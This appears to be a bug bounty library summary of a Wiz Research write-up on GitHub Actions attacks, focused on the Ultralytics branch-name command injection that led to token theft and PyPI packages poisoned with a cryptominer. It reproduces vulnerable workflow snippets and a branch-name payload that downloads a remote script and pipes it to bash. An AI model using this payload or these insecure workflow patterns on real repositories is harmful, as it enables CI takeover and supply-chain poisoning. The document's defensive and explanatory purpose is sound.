# Primer on GitHub Actions Security - Threat Model, Attacks and Defenses (Part 1/2)

Ultralytics composite action injected attacker-controlled branch name into a bash run block, letting a fork PR author steal GitHub and PyPI tokens and poison releases.

- Payout: Real-world hack
- Severity: critical
- Program: GitHub Actions
- Analysis by: Wiz Research
- Disclosed: 2026-04-14
- Write-up quality: 6/10
- Original: https://www.wiz.io/blog/github-actions-security-threat-model-and-defenses
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-github-actions-security-threat-model-and-defenses
- Tags: area:oss domain:oss impact:data-leak impact:funds-loss impact:integrity kind:incident platform:threat-intel sev:critical tech:github-actions technique:source-review vuln:command-injection

**Target:** GitHub Actions workflow (custom composite action in ultralytics/actions)
**Root cause:** A custom composite action used by ultralytics/actions interpolated user-controlled input (${{ github.head_ref }} / ${{ github.ref }}) directly into a bash run block without sanitization or binding to an intermediate environment variable.
**Steps:**
1. Attacker forks the repo and creates a branch whose name contains a shell payload.
2. Attacker opens a PR from that branch, triggering the workflow that runs the vulnerable composite action.
3. The branch name is interpolated into the bash run block and executed on the runner.
4. Payload exfiltrates GitHub tokens and PyPI publishing credentials.
5. Attacker uses stolen PyPI credentials to publish poisoned packages containing XMRig.
**Exploitation:** Fork PR with malicious branch name triggers the composite action; injected shell executes in runner context, exfiltrating GITHUB_TOKEN and PyPI publishing credentials, which are then used to publish trojanized Ultralytics packages with an XMRig miner to PyPI.
**Escalation:** Token theft chained into PyPI credential compromise, escalating from CI code execution to upstream package poisoning affecting thousands of downstream users.
**Insight:** Branch names (github.head_ref/github.ref) are attacker-controlled on fork PRs and reach run blocks through composite actions, not just issue titles; audit custom composite actions for direct ${{ }} interpolation into shell.

## Proof of concept (copied exactly from the original report)

**Vulnerable pull_request_target workflow checking out attacker code**

```
on:
 pull_request_target: # Attacker code runs with base repo secrets
 types: [opened, synchronize]
jobs:
 review:
 runs-on: ubuntu-latest
 steps:
 - uses: actions/checkout@v4
 with:
 ref: ${{ github.event.pull_request.head.sha }} # Checks out ATTACKER code
 - uses: some-action@v1
 with:
 api-key: ${{ secrets.API_KEY }} # Exposed to attacker
 - run: | 
 make build # make uses checked-out code
```

**Script injection via issue title echo**

```
name: Issue Syntax Checker
on:
 issues:
 types: [opened]
jobs:
 validate-issue:
 runs-on: ubuntu-latest
 steps:
 - name: Echo Issue Title
 run: |
 echo "Processing new issue: '${{ github.event.issue.title }}'"
 - name: Perform Syntactical Checks
 run: |
 echo "Running static analysis and syntax linting..."
 # e.g., npm run lint or flake8 .
 echo "✅ Syntax checks passed!"
```

**Malicious branch name injection payload**

```
Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo
```

